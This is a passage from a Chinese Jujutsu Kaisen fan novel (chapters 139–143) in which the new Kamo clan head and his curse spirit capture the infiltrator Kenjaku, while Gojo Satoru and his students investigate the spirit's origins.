寿命永远是横亘在人们头上的一条逃不脱的诅咒, 多少年来, 无数人在它的面前俯首帖耳。更不要说,还有艾略特与本体在幕后掠阵,这一次, 加茂家其实是在与一位获得了“书页”加持的“无色之王”、一位超越了的“超越者”、还有一位对人类特攻的“特级咒灵”在对阵, 它是有底蕴的, 但这底蕴在“他们”面前, 根本抵挡不了多久。 当日的那一道血光,就是它最后的挣扎了。 大多数昏倒过去的加茂家的人不知道后面发生了什么, 也不知道自己身上曾有什么变化。他们只是庆幸, 哪怕遭此劫难,他们也依旧还是活了下来。“隼人”, 羂索在他们身上也曾寻找过,但在不惊动那个咒灵的前提下, 他能得到的信息也不多。 “嗯,你是说,有外来人混了进来吗?”在结束了又一次收获颇丰的研究之后,加茂月行洗净了手,从那个严密的地下室中走出来。忽而,他停下了脚步,作侧耳倾听状。 “替代了原本的加茂家人,用他的身份在内里行走……”他陷入了沉思。原本跟随在他身边,不知家主是如何听见咒灵大人话的随从立即紧张起来,他连忙道:“是我等失职,没能发现……” 加茂月行摆了摆手:“不需如此。我大概知道是谁了。” “如果是他,你们也阻挡不了。”加茂月行想了想,他看了眼苍,苍依旧是笑着的,它安静地跟随在侧不动。没人知道,自那日剩余的所有加茂族人在其身前跪下叩首,乞求垂怜他们性命之后,苍就对这全部的人有着一种隐隐约约的感应,它或许还不能一下将他们吞吃,但辨别他们的真实,还是能做到的。 他回头看了眼困锁住真人的研究密室,“或许,”他的手中出现了一缕不知何来的缠绕着的红丝线:“可以利用他来实验一下这项物品的能力……” “咕噜噜。”一颗骰子被扔下,出现的是一个⑤号数字。“心情气明,思考能力提升。”这是一项状态加持的buff,之前也曾出现过,只是那时不是这个号码。裴真在侦探所中稍微思索了一会,没过多犹豫,就将这张【六面骰子】的卡牌送到了加茂月行那里。 在不准备抽取卡牌时,这项提升对于科研工作者算是一个小小的增益,而在他预备要做的事前,任何可能有益的提升,他都不会放过。 而至于自己,裴真瞧了一眼左下角的融液光球,在过去剩余的1962的基础上,新人作家的声望依旧是在不间断地为其增添着数值,从最初的几百到后来的几十,一年之后,这本作品仍旧还有收益进账,只是数量早不及从前。 可总得来说,除开1962中已经加进去的,它后来也为自己提供了7000多数,虽是一年积累下来的,但裴真也觉得值了。还有后来柳生明澈终于火了,虽是借了村庄中失踪案子的热度,火也是火了,他的专辑在日本那段时期很畅销,曾一度超越了本体书作带来的光液,但后来还是渐渐低沉了下去,直到在望川涉的操作下,发出了第二张的专辑,才重又回到一个小高峰。 在本体没有要创作出第二本书的前提下,柳生明澈终是一举成为了所有马甲中,收获光液数量最多的人。他在生成之初,就已决定了不参与任何剧情,只一心撸大众的数值。裴真不知道这金手指是怎样判定的,但不得不说,它这一决策,让他有了漏洞可钻。 或许这也根本不是漏洞。普通人并非是毫无价值的,只是他们存在的意义太微小,现在的自己还看不到而已。裴真若有所思。 他一举收获了10000以上的光值,融液球中的流光仿佛随时要溢出来,在裴真始终没有要抽卡的情况下,它硬生生地容纳下了18962的总数。直到裴真眼睁睁地看着它达到了19000,也没见金手指突然蹦出来一个“黄金抽卡”的选项,显然,要么这数量还不够,要么,就是如同他之前所想,只能靠普通抽卡欧皇翻身,或是达成“黄金成就”。 “不急。”裴真摸了摸宝石的头,没有咨询的客人上门,他就在侦探所中休息。“现在的我没有迫切要去做的事。我可以继续去等待。”他抬起头看了看电视,电视台中正在播放着一部并不算有趣的影视剧,他抱着猫窝进了沙发中,笑着懒懒道:“我们都还有很长的时间。” 去探索发生在自己身上的事。 加茂月行收到了骰子,感知了下随之带来的加持,他面上的笑容突然变得很温暖。但很快,这丝笑意就从他面上褪去,相反,从苍那里得知的潜入者消息让他的神情变为了叵测,他看向一个方向:“是查到了这里吗……” 羂索有无数种拷问消息的办法,但在不惊动那个咒灵的情况下,他还是很小心地潜伏了一段时间才有了稍大的动作。“在家族大多数的房屋都毁损的情况下,召集人来第一个建设的,却不是家主的主屋吗?”想起自己在一位一年内被提拔起来的加茂族人那里搜来的讯息,羂索的眼中闪过了兴奋之意。 “果然,能一下子将一个家族摧毁的人身上不可能没有秘密,”他在心中不断地想:“如果我知道了他的秘密,说不定还能加快我的计划,让真正属于咒术的时代来临,到那时……” 他鬼鬼祟祟,却又不失速度地往那边潜去。他没有看见的是,有一条红色的丝线从一方悄悄打开的空间中无声地拴在了他的一只手上,而另一头,则是被加茂月行系在了真人那边。 “接下来,是要剪断吗?” 【白银·红丝线】,“人与人之间的关连,就像是一条条无形无质的丝线,亲密是纠缠在一起的,断绝是戛然而止的。人情如网,缘定一生。有些人,下个路口就可遇见,有些人,一转身,就是永诀。” “这丝线更像是一种概念上物品的具象化。”加茂月行一根手指将这绷起的丝线挑起:“将原本的关联用丝线的方式呈现出来。或许它们本来就是存在的,只是丝线让它们附体显现在了我的眼中,让我能够触碰到它。” 他看了眼联系着的双方,想了想,手中一用力,轻盈的丝线便就此断为了两节。羂索陡然停了下来,一瞬间,他感到自己心中好似失去了什么,空落落的,整个人也有些茫然。 但这种感觉并不强烈,更像是他偶然闪过的一个念头。便如同下雨之时有过的感怀,夜深人静时有过的倦怠,只是倏忽,便消失不见。他不认为这有什么,甚至是遇见危险前的预警也算不上。他没有犹豫,继续往前行去。 接下来就是加茂月行所想要看到的了,他没有派人去拦截那个披着加茂家族人皮的外来者,而是利用苍的视觉,去观察着这个人遇到的一切。 羂索是千年前留存下来的大咒术师,他所知晓的术式与能力千奇百怪,加茂家更是他“耕耘”得最久的一个家族,若非是那次的劫难,他在这个家族中才是如鱼得水。可接下来,他所遇到的,让他的信心遭到了前所未有的打击。 首先是碰到了随机巡视的队伍,“隼人”不得不返回,但在最后一刻,这个队伍的队长却将他叫住,说是家族的某一工作处需要人,要将他临时召集进去。羂索没有反对,因为这一年里,每个人都没有自由选择的资格,后来他一想,也好,这个队伍看样子与自己前去的是同一个方向,随它前进一段时间也可,后面再想办法脱离。 但谁能想到,就在他要离开的时候,原本应该是在维护结界的五长老却是率领着一个精英团体队伍找到了这里,原来是他们缺少了一种物资,来找这个小队伍的队长,是为了让他接下来外出时购入些携入——这根本不用他们亲自来,只要找到家族管理官,让他们在采购清单中记上一笔就好。但五长老似乎有些迫切,不惜亲自来嘱托。 但他却是恰好选择在此时逃离,并且,他额上的一圈缝线也在一缕突如其来的风中显露,五长老注意到了这点,他脸上浮出疑惑:“你是……‘将人’家的隼人,他过去是我忠心的手下,你额头上的这个,是什么?” 羂索有些无语,他微笑道:“我说我是在上次的工作中伤到了头,你信吗?” 但刚刚才处理了一起偷入事件的五长老立时就警惕来,他厉声道:“不管是不是,都先抓起来再说!” 两个小队的人立刻就行动起来。 第140章 摔在眼前与解锁 五长老下达的命令不可谓不迅捷, 几乎是没有任何的问询,立即就动了手。而羂索也确实不能被抓住,他身体往后飘出一段距离, 叹息道:“为什么就这样恰好呢?” “果然是偷入进来的外来者,”长老怒声道:“你是哪方派过来的探子?” 羂索笑道:“谁派过来的先不提,你们以为, 现在的加茂家还能挡住我吗?”他故意用一种轻蔑的眼神看着眼前的这一群人:“还是说,就凭你们这些烧剩后的残渣?” 所有人都愤怒了, 但不可不说的是,他们内心确实是深藏着惶恐, 唯有长老的面皮动也不动,他一派沉静道:“无论加茂家变成什么样子, 偷入族地, 用的还是加茂家人的脸和身份, 都是罪无可恕的死罪!快将他拿下!”他左右吩咐一句,自己也动起了手。 “轰隆隆。”那边传来战斗爆发的声音,加茂月行站在离研究室有一长段距离的地方, 看着那里, 心中道:“原来是这样实现的吗?斩断了之间的‘联系’, 令其没有见到真人的‘果’, 就会有恰到好处的‘因’去阻止他。他想过来这里,就让他一次又一次地被绊住脚步, 或许是因为物, 或许是因为人,但总之就是不让他到达。这便是【红丝线】的威力吗?” “可如果他是我想的那个人, 现在的加茂家便没有什么手段能阻挡得了他,就算那里是家族中剩下的最后的高端力量, 也不足够,那么,”他咧开嘴,笑了笑:“若是想要继续阻拦他,唯有……” “就只有这些了吗?”羂索感到畅快无比:“这就是现今的御三家吗?你们龟缩在这里,是害怕外界的人吗?啊~”他用一种感叹调的语气大声道:“你们的骄傲呢,辉煌呢?高人一等的傲慢呢?”他满怀恶意:“原来如此,都被粉碎成渣渣了啊,这样的你们,在外面人眼中和块肥肉又有什么区别?难怪不敢出去。” 他展现出了另一番面貌,虽是隼人的相貌,但他的仪态、他的表情、还有他的话语,都在传达一种极度危险的气息。 现场的加茂家的人都气的浑身发抖,他们用尽了全力,要将这个蹬面嘲讽他们的人打败,要让他知晓羞辱他们的代价。他们疯狂地用术式去攻击他,只求能更快将之抓捕。 羂索其实并没有完全放松警惕。他还想要去到据说是那位家主建造成的密地,这些人也要尽快甩掉。纵使是加茂家已经不如往昔,但能够将之带到这种地步的人……也绝非善类。他在心中下定了决心,动作加快。 可在他没注意到的时候,他转移战斗的方向在无知无觉中,往旁边偏移开了一两寸。于是在稍许过后,一前一后的许多身影进入到了月行的视野,长老一个怒极的大招,让羂索不得不往这边有些不稳地摔下来。 “哇哦。”加茂月行有些惊讶地看着就这么摔倒在他眼前的人。长老也飞速地追到这里,当他看到了站在这边的人时,更为苍老的脸上闪过惊讶:“家主大人?” 加茂月行将视线从狼狈无比的长老身上移到羂索身上,相比于对方,他虽是有颓势,但衣服还保证了完好,几乎没受什么伤,一眼就能看出两方间的差距。 羂索也眯起了眼睛。他抬头看向这位神秘无比的家主。太年轻了,比咒术界有名的五条家神子都要年轻。他穿着一件青色的华贵的常服,漆黑的头发比夜色都要深邃,他的身形很瘦,皮肤很白,但比一年前气色要好上很多。他就这样站在这里,身姿挺拔修直,只在那一瞬间,羂索看见,他是没有笑的,这个人居高临下地看着他时,眼中是一片恐怖的淡漠。 “原来是这样阻止他的吗?”加茂月行在心中想:“其他人都阻挡不了,就让他碰到能阻止他的人。而现在在这加茂家,能够制止他的人,就唯有我……” “家主大人,老朽惭愧,”五长老连忙请罪道:“没能抓住偷入者,还让他闯到了您的身前。” 这位长老什么都好,非常识时务,就是在臣服后,一板一眼,谨记各种礼仪。 羂索又去看那个闻名整个家族的咒灵。奇怪的是,它的存在感并不高。它站在距离加茂月行一步远的身后,低低地垂着头,系着白色绸带的双眼正在看着他这里。“什么时候?!”羂索一惊,这东西是从什么时候就开始观察自己的,为什么没有任何感应? 这就是那个传闻收服了整个加茂家的邪异的咒灵吗? 加茂月行摆了摆手,没有就五长老的请罪说些什么。他看向羂索,笑了起来,仿佛之前的淡漠才是一片假象,他轻声道:“不论你是为了什么来的,但既然到了我的面前,我只能说,你的运气实在不够好。” 哈,这仅仅是不好吗?羂索不明白,他之前没出任何事故,但从某一个时间点开始,他所有想做的事,都会被若有若无打断,后来就更是直接被拆穿,还一下被扔在了这里他唯一不想见的人面前。这真的能用运气来说服吗?他将探究的视线放在后面一方的咒灵身上。 咒灵微笑着没有动作。它确实是奇异的,因为它身上没有那种所有咒灵都有的残暴凶恶之意,虽是特级咒灵就可以产生神智,但它已不是拥有智慧的程度了,它能够掌控住自己的情绪,这与咒灵形成的底层规则产生了矛盾冲突。 “你想要什么?”加茂月行问。 羂索站起了身来,他舔了舔唇,看着这一对咒术师与咒灵的相互组合,极为感兴趣道:“之前我还在想你在那密室中构建了什么,可现在我对那些都不好奇了。你们本身就代表着奇迹,我实在很想知道,你是怎么将它拘禁在你身边,让它听你的话的?” “只要将这些传出去,整个的咒术界都会迎来翻天覆地的变化。”羂索满脸兴奋:“咒灵与咒术师是敌对的,这是天经地义的,你们之间没有任何术式紧缚,相当于这个咒灵是完全自由的,自由的咒灵帮助人类,呼呼呼呼,这会让很多人的基本认知都崩溃掉的!” 聆听的人假装自己不存在。加茂月行感叹一声:“你这样的人不会是哪个家族的探子,恐怕接下来你就不能出去,要陪着我们加茂家,在这个结界封印中待上一段时间了。只要……”加茂月行露出一个狡猾清淡的笑:“你能在我手中不死的话。” 苍往前走出一步,刹那间挡在了月行的身前,阻住了羂索刺向加茂月行的一击。月行一动不动,似是极为相信自己的这位同伴。苍的白衣震动,绑眼的绸缎往后飘飞,它伸出苍白的手指…… 加茂家残余的族人已经是第二次见到那个咒灵出手了,它动起手来时声势浩大,尤其是在面对着更加强大敌人的时候,它飘飞在半空中,对着下方的人伸出那根诡奇的苍白手指。 ………… “听说了吗?那个加茂家就要在最近解锁结界,从族地中出来了呢!”高专咒术学院中,有学生悄悄地与自己的同学说话。一个路过的插兜的身高192的帅哥连忙上半身后仰侧过头来聆听。 “是啊,不知道是遭遇到了什么打击,作为一个御三家,居然做出这样的决定,简直难以想象,他们在外面的家业和资源都不要了吗?”说话的是一个男同学,看他的样子,好像与三大家族之一的五条家有所关联。 帅哥更加感兴趣了,他奇行种一般将脖子伸了过去,又没让这两同学察觉到,破坏他们之间的小小交流。 “隔壁学校的那个加茂家的次代家主,从一年前开始的时候就没来上学呢,”女生蛐蛐道:“听说学校的人找上门去,结果连结界里面进不了,直接被人阻挡在外,也是丢了好大一脸。” “听说是里面的人出了什么事故,要不然在这一年里,怎么就只见到那一个长老出来,”男同学是真的有些门路,或者他的这些话也是听一些父辈们讲的,“据说有些人等不及了,加茂家再不给答复,他们就要想办法,让五条老师上门一趟呢!” “嚯!”突然的怪声吓了这两个小同学一大跳,等反应过来,就看到一个穿着教师制服的大高个子蹲在他们中间,黑色的眼带缠住双眼,他十分感兴趣道:“是谁,是谁说要让五条悟上门|服务?好厉害呀,这么厉害,我不能容许,”他微微揭开了一只眼罩,露出苍蓝色恍如无垠天空的眼睛:“这世上还能有比我更厉害的人!” 最后一句话被他说得低沉又冷厉,将这两位背后说话的同学给吓了一跳。两人尖叫一声,居然立时就跑掉了。五条悟也愣住了,但很快,他就放下手,将眼睛重新收起,也不起身,就这样直接躺了下去,双手叠在脑后,一只腿曲起:“烂橘子里还会发生变化……” “但外面的烂橘子还是烂橘子,”他嘟嘟囔囔道:“永远都是这么痴心妄想,看不清界限。” 下午的阳光晒得人暖洋洋的,将他整个的身躯笼罩进去了,他舒服得呻|吟了一声,很快就将脑中的东西一抛而空,眼前出现了飘零的云朵,他陷入到了深沉的睡眠中去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-150 第141章 无情者 一年的时间里, 加茂月行已经大致了解了咒术界的历史与形成因由。咒灵是从古至今都有的,甚至还有过盛况,过去它们也曾被以“妖怪”相称, “百鬼夜行”也指的是特级咒灵的暴乱。 其它世界月行不知道,但在这个世界,它们就是这样的解释。 艾略特在将心神放回到故事世界的相融合中, 一本又一本的书堆积在他异空间里;风祭野见已经在FBI中掌控了一个派系,并将权力从那位局长手中攫取大半;望川涉最近从光暗的策划师角色中退了出来, 财团的事物需要他去打理,他也是为了静待一个时机的到来;伊莎贝尔微笑地看着小岛菜菜子与泉镜花比肩相邻地凑在一起, 她们在讨论着接下来这个原始古迹的维护性挖掘事宜,远离了那些事后, 她们选择了与地球和自然为伍…… 加茂月行在思考着咒术界的事。这个世界的人并非没有想过一劳永逸地解决咒灵的存在, 他们也同样尝试过使用类似大秘仪之类的东西来限制咒灵的诞生, 天元的结界便是如此这般的产物。但在人类仍在源源不断产生负面情绪的情况下,他们失败了,并且从那以后, 就再也没有什么大的举措了。 如果他想要在此世达成“黄金成就”, 就必然只能…… 五长老跪坐在大厅门前, 在得到应允后, 他恭恭敬敬地拉开身前的木门,跪地叩首道:“大人, 五条家与禅院家的人到访。” 加茂月行从沉思中回过神来, 他狭长的眼中闪过一丝极度冷漠的光,他淡淡启唇道:“来的人是什么职务?” 五长老没有抬头, 在这一年的时间里,他大致已经了解到这位新的家主想要的是什么了。夺了加茂家之后, 他没有对剩下的人斩尽杀绝,是因为他还需要加茂家的这块牌子;对剩下的人进行有限度的培养,是因为他需要一些人来帮他处理杂物;一头栽进加茂家那个庞大无比的文库中钻研,进行咒灵体惨无人道的实验,为的都是探究咒力之本身。 不要看他平日里也会有所微笑,但其实,这是个毫不在意外界,不理会自身以外任何事物,只想排除一切阻碍的……狂人,他的眼中根本看不进自己这群人,是一个真真正正的无情者! 所以他才会在那一年里只主持了几处研究室的建成,在一年后,也根本没有要将家族中权力收回来的趋势。而可悲的是,加茂家现在根本离不开他! 想到这里,五长老愈发恭敬,谦恭得近似叩神。一边的苍蓦然动了动,它邪异的眼神从绸带下看向这位长老,唇角挑起一抹笑,这一刻,它好似是又见到了昔日那些于它神龛下跪拜乞求的人,它的心中兴起了愉悦,笑容加大到不可思议的地步。可惜,五长老未能见到这一幕。 “是五条家的一位长老,和禅院家的一位宿老。”他这么回答。 “那就由你去招待吧。”加茂月行随意道:“该怎么做就怎么做,我会让苍时刻注意你那里的,有了争端也不必担心,因为也隐瞒不了。咒术界从不迂腐,他们会知道该如何做的。” “是,家主大人。”五长老未有任何反驳之意。他也知道,咒术界不可能对此没有异议,但就如同之前,有异见的自会上来反抗,而那时,便会有这位……在前段时间才公布了名姓的“苍”大人去对擂,失败了就不会再有言。 而他加茂家,也不是真的完全没有了对抗的力量。有异议的,他们也会将之竭力压下去。 这位大人的力量,不只是在那一次侵袭加茂家中有所体现,也是在之前那一次与偷入者的战斗中有了更多彰示。那位利用他人身份进来的偷入者掌握着不知道多少的术式,五长老从未想过,现在的咒术界里还潜藏着这样一个神秘强大的人,他一直不显现人前,是有何目的,这一次潜入加茂家,又是想要对他们做什么?五长老愈思愈胆寒。 但苍大人最终还是没有令其逃脱,曾横亘在他心头的白骨的囚牢又一次在加茂家上演,岁月遗失的恐惧再一次袭上所有人的心头。不知其为何发怒的剩余的族人们纷纷跪倒下来,他们不敢有所动作,只能乞求它的怜悯。 那位“隼人”并非是没有逃走的机会。他比起当日所有的加茂家的人表现的都要好,五长老甚至有种错觉,他比真正的族中人都要了解他们的秘术。他其实是想要在不损伤颜面的情况下逃走的,但是,仿若是早有预料,它截断了他所有的退路。 而之后,就是另一个层面的战斗了。五长老和剩下的加茂家的人满脸骇然地看着眼前这一幕。一个巨大的白骨的球体出现在他们面前,那熟悉的能量流动的形态,让其不由惊呼出声:“生得领域!” “生得领域”是心灵上的能域场,是一种只有咒术师才能展开的顶级的具现化的战场。在这能量场中,主持的人可获得极大幅度的能力提升,并且所有施展的术式都会绝对命中。 一介咒灵,也会有“生得领域”么?五长老模模糊糊地想,那不是咒术师才有的能力吗?为何会出现在咒灵身上,难不成他们咒术界真的要步入末途了?几次重大的打击后,五长老的心灵陷入了前所未有的消极。 还有,它有这样的能力,为何不在一年前的战斗中使出来,还是说……它是在这一年的过程中习得的?这个咒灵居然有这样的学习速度,并且,在那基础上更有这般的提升。未来真的有人能是它的对手吗?五条悟能做到吗? 五长老心神沉寂下,居然对现今咒术界公认的战力第一人都有了怀疑。若是五条悟知道了,说不得就要狠狠地嘲讽他一顿。 一段时间之后,这个“生得领域”就在他们的面前慢慢地消弭了,一道白色的身影从里面走出,那个伪装成加茂族人的偷入者也不见了。月行大人说,这小贼被封锁进了另一个地方,他或许也能从他身上得到些什么。 在场的所有人一时都有些默然。也是自那时起,五长老便看清了这位新家主表皮下的本质,他是位追寻着无上境界的人,对于底下所有的一切,他都不在乎——这也是他们的生路。只要不触怒这一点,做好自己的本职,或许他与其他人,都能在其手下活下来。 而现在他所需要做的,就是在外界的“剿杀”前,证明他们的价值。 他退了下去。 加茂月行看出了一些这位长老的心理,但他并不在意,因为若是加茂家不能在他的手下留存,五条家与禅院家也不能例外。否则的话,御三家就不是御三家,而是御二家了。 咒术界中只有一个五条悟值得关注。 可他之后也死了。若是加茂月行真的想要拥有整个咒术界的话,他只用什么也不做,等到剧情杀了这位从前的第一人,他便能毫无难度地统治这个里界。可谁想要这个腐烂的咒术界啊?永远也杀不完的咒灵,还有心思阴暗肮脏的高层,时刻处在濒临疯狂的大部分咒术师,如果不改革,就感觉自己是躺在烂泥地里一样,要是去改革,他对这个世界还没有这样的感情。 “时人常庸人自扰,有些时候,将自己置身事外,反倒能轻松惬意许多。”加茂月行随手将一柄扇子展开,微笑着说出了这番冷漠非常的话。 “哦,说出这样的话,你的意思是说,你不想去做本体让你做的事吗?”在勾连起来的心神中,一位女声突然这样发问道。 加茂月行略带的笑意顿住了,紧接着,他又重新笑道:“但有些事总要去做,因为我也有想要的东西。这便是世间的常理,付出才会有收获。” 女声,也就是伊莎贝尔就笑了起来:“你清楚明白就好。还有,你要做的事并非不能借用外力,所以不要展现你的高逼格反派的姿态了。不要去学有些人,要做的事永远不与人说出口,认为自己才是世间唯一清醒的,在过程中又将自己弄得惨兮兮的,展现出一副忍辱负重的状态,直到最后,才在牺牲中迎来其他人的追悔莫及。” “又或者是永远一副游刃有余的大BOSS的形态,要问原因只说是乐趣,但做的事永远不会让敌对方伤筋动骨,所有导致的结果都是好的,还要强硬做出一番我才是最坏的姿态。将所有人都当成瞎子一样看待,并且只会对自己黑色的一方下重手,就这样,到最后还要假装凄惨地输在另一方手下。” “之后,再一次迎来其他人的追悔莫及。”伊莎贝尔顿了下,牙疼地说道。 加茂月行神情有些莫名:“你最近是在看小说吗?” 伊莎贝尔哈哈笑道:“怎么会,我都是在给你出谋划策啊!”但她紧接着又觉得不够,补充道:“亦或是从始至终都是假装坏的,最后也不洗白地去做好事,但在这其中会与这个人、那个人发生这样那样的感情……” “咳,”加茂月行打断了她的话,他轻轻道:“可以了。”他已经能猜到她最近在看的是哪类的书了。 他眯起眼睛说:“我不会放弃某些助力的。毕竟,对于我来说,工具,自然是越多越好。” 第142章 高专与咒灵 加茂家的新家主是最近咒术界最火热的话题。高专学校的各位在很少接触外界咒术师的情况下, 也多次听闻他的名字。其中包含了各种玄奇的猜想,尤其是那一日他解决了所有家族高层,登临御三家家主之位的事, 已经衍化出了不知道多少个版本。 是的,加茂家已经放开了限制,重又与外界接轨。但它族地的出入依旧很严格。 “听说那么多的人都死在了他收服的咒灵手上了, 这么厉害,恐怕是特级中的特级, 这样的咒灵,真的不会失控么?”这是一个很担心的女同学。 “哼, 这样的人绝对走不长久,”一位莫名自信的男学生在同伴疑惑的眼神中信誓旦旦道:“你想想, 现在都什么年代了, 还搞出大规模杀人这一套, 又不是在动漫世界中,就这一事,他就绝对不会好过。” “更不要说他用的还是咒灵了, 这种在我们咒术界踩过界的事, 一定会有人看他不爽的。”他这样说。 “不会, ”路过的禅院真希手中拿着训练棍, 突然插了一嘴道:“正因为是在加茂家,所以不会。” “学姐!”这两个讨论的学生有些惊慌。 推了推眼镜, 她道:“这样的家族是不会让另外的人来审判族中事的。那个新家主哪怕从前根本不受重视, 但只要他有一层加茂家的皮,这就是属于他们家族内部的事宜。” 她似是想起了什么, 语气更为冷淡:“如果是那些高层还在的话,或许还会因为瞧不起支脉的人而联系外人动手, 因为在他们的眼中,下面的人根本就不是人,可他们已经死了!”说到这里,她的语声有些波动:“……他们既已死了,这件事就又重回到族内事宜了。再加上他还有力量,所以他就掌控住了那个家族。” “小真希很羡慕他?”忽然,一个熟悉的声音从她身后响起,禅院真希一点也不惊讶,她不转身,只是平静道:“不,我不羡慕,因为我知道,我完全做不到那些。” 但某些时候,她也偶尔会做出那样的梦…… “哈哈,”那个人一个巴掌就拍到了她的肩上:“还说不羡慕呢,我看你两只眼睛都快放光了!” 双眼放光的禅院真希依旧在说:“改变不了他们的观念,就解决掉出问题的人,这样粗鲁而野蛮的解决方式,才不是我们现时代的青年应该做的……呜……” 为什么他不是禅院家的人,明明这个家族才更应该被改变才对! “好了,”身后的人是五条悟,他没有就禅院真希的表现说出些什么,只是拉了拉眼罩:“要出任务了。” “什么任务,是几级的?” “是搜集情报类的哦,这一次不用战斗。”五条悟说。 “什么,”禅院真希惊讶:“搜集情报需要我们这么多人出动?是什么厉害的咒灵吗?” “呵,”五条悟语意不明地轻笑:“确实是很厉害的咒灵。” “但也不用五条老师你亲自出动吧,你不是只用在最后来上一趟,哐哐两下将其解决吗?” “好伤心,你居然是这样看待老师的……” 一行人最后来到的是一处空旷无人的村子,因为之前被搜查过,所以村中的居所中他们没有找到什么。 这一次来的人有很多,虎杖悠仁、伏黑惠、钉崎野蔷薇、狗卷棘,还有她禅院真希都来了。“这一次是咒术高专大出动?不是说只用搜集情报吗?”虎杖悠仁摸着脑袋,有些奇怪。 “那也要看是什么咒灵,”五条悟蹲在一边的石头上,笑眯眯道:“知道加茂家的新家主么,我们要调查的就是他身边的咒灵。” “你是说那个干掉了自己家族主脉的三分之二,然后缩起来一年,之后将整个家族都掌握在手中的人?”伏黑惠面上没什么表情。 “什么反派励志爽剧?”钉崎野蔷薇忍不住吐槽道。 五条悟没管他们:“我们要调查的是,这个咒灵为什么会听从加茂月行的命令,到底是他控制住了咒灵,还是咒灵寄生了他。他们是如何相遇的,之间又发生了什么。” “探讨别人的秘密,真的不会被干掉么。”禅院真希有些警惕地往两边望了望。 五条悟阴险地笑了起来:“那你以为,我们这一次为什么会让这么多人来……” 几人被吓了一跳。之前放下的心又提了起来。五条悟大笑道:“别担心,那个人还在加茂家的族地中,他根本就不怎么出来,这里的事也没做掩盖,监督会的人也来过,你们不用担心会惹到他。” “再说了,不还是有五条老师我么,”在几人稍微放松的神情中,五条悟极度傲然道:“我可是第一啊第一,如果不是不想,我也早去屠个家族玩玩了……啊,真该死,家族中的那些人还没惹我到那种地步,被抢先了……就算是打败了御三家之一的那个咒灵,它要是真的来了,我也能让它有来无回。” 他如此宣言道。但所有人又不得不承认,他确实有这般说的资本。 “老师你还是管管你的口业吧,”禅院真希在一旁冷声道:“再怎么强也遭不住你这么造作啊,在二次元中,你这样是要栽跟头的,栽了个狠狠的跟头后说不定就爬不起来了。太典了,你这样的。” “你在说什么啊,小真希,”五条悟摸了摸她的脑袋,他一派微笑道:“平时少看点漫画书吧,说的话我都听不懂。最强的我是永远不会有失败那天的。好了,你们快去搜集信息吧,老师我就在这里等你们哦!” 他没有丝毫要动的样子,就这样蹲在那里,笑眯眯地看着众人。“鲑鱼。”狗卷棘这样说。其他人埋怨了几句,但还是一同老老实实地行动了起来。 五条悟就这样看着自己学生离去的背影,好似真的是一位负责任又优秀的好老师。 这让暗地里的人焦躁了起来。躲在很远处的两人…不,两咒灵很小心地没有流露出任何的咒力波动,在监视着人类最强战力的时候,这一点是最基本的。其中身形更高,眼睛被树枝缠绕覆盖,全身遍布花纹,左臂上有一朵花的咒灵开口问:“他们来这里做什么,也是来调查真人的吗?” “不,”另一个独眼的咒灵更沉稳些:“他们大概是来调查一年前在这里诞生的我们的同类吧。”它比它的同伴要矮一些,但给人的压迫感更强,就像是一座小山,头顶如火山尖般时时冒出滚烫的热气,他十分冷静分析道:“真人才刚诞生没多久,还没有进入到人类咒术师眼中。虽然我们追查到他是在这里失踪的,但那些人是不知道的。他们只知道有两个特级的咒灵在这里打了一架,更具体的身份,他们还需要去猜。” 被树枝缠绕的咒灵叹了口气:“不知道真人怎么样了。他连自己的领域都还没有领悟,也不知道是不是那个新的咒灵的对手。” “大概是无了,”独眼的咒灵说:“一年都没听到他的消息。不过不用担心,我们咒灵又不会死,之后可能会在哪里再次重生吧。但那时就不是我们认识的真人了。” 树木的咒灵有些感伤起来:“为什么会打起来呢,大家不应该都是同类么。这一年里,不止真人不见了,那个总是神神叨叨的脑门上缝线的咒术师也没有出现,到底是发生了什么?” 他转向自己的同伴道:“漏瑚,我总有不好的预感。我们的目标真的能实现吗?” “会的,”漏瑚暗地里攒紧了手:“没有了他们,难道我们自己就不能去做么。花御,那是我们要投入自己的生命去实现的事,如果轻易就放弃了,岂不是说明我们的觉悟只有这种程度吗?若是那样,失败也怨不得别人,成功可不是那么好取得的,我们要有牺牲的觉悟。” 花御忍不住看了看他:“你真的很不一样,漏瑚。”他抬起头,看向之前的方向,风从他们中吹过:“如果不是你的话,我们恐怕依旧是浑浑噩噩的样子,充斥着本能的对人类的恶意,也不会就此聚集起来,去实现同一个目标。如果是为了你所叙说的那个未来的话,”他站在悬崖的边界处,沐浴着阳光道:“……我想,我会愿意用性命去拼搏的。” “花御……”漏瑚忍不住感动起来。就是这样啊,他不仅仅为的是自己,哪怕是为了身边的这几个同伴,他也想看到自己所梦想的那个未来实现,就算为此令自己步入终途也再所不惜。 两咒灵处在一片感伤和谐的氛围中。另一边的五条悟则是微微往这个方向瞥了一眼。 “不像是总监部的人。”他想:“希望他们自觉一点,不要再靠过来了。” 他没有要去纠察的意思。因为他最近总是在为一个问题困扰,是不是自己真的是一个非常好说话的人,才让某些人有胆子一直在自己的危险区蹦跶?加茂家的那位动手过于迅捷狠辣,家族高层的消亡让他们有了同类相悲的警惕,他们对此极度抵触与排斥是可以理解的。 但就是这样的人,他们反倒是迟迟不敢动手,就算是做,也是在暗地里悄悄地进行谋划,而对于自己,他们却是毫不遮掩地一次又一次行动。自己的这个最强难不成是假的吗? 第143章 契约和进展 一只胖乎乎的蓝白色的小鸟从结界中飞了出去。 “叮铃铃铃——”加茂家空荡的主屋中响起一连串清脆的铃铛声。 又是一日的好清晨, 已经适应了新秩序的人匆匆醒来,开始了新一天的工作。 ………… “在这里有记载!”虎杖悠仁在一旁大呼小叫起来。 离的近的赶忙凑上去看。伏黑惠皱了皱眉:“你是从哪里找出来的?” “就在这边,其实有一个小的机关, 在神龛的下方,”虎杖悠仁手里拿着一小卷绸布一样的东西:“如果不是不小心,其实我也找不到它, 嘿嘿。” 禅院真希一手提着棍子咒具上来看,“这个小的石盒上面有防止咒力逸散的纹路, 还有特定的隐藏功效,难怪监督局的人没找到, 估计他们只是用咒术界的方式来寻了一遍。” “虎杖一直有着一种野性般的运气,”钉崎野蔷薇凑过来:“让我看看。” “唔, ”她将上面的文字念了出来:“‘吾乃此村之司祭, 以人之躯与福寿之神订下契约……以寿易寿, 供奉永不绝……焚吾发肤,恭请各路神灵来听……誓约于此,背弃者永堕黄泉……’” 她摸了摸自己的下巴, 思索道:“日期写下的是两百年前, 该不会这是那个时候定下的东西吧?” “那岂不是说, 那个咒灵自诞生以来, 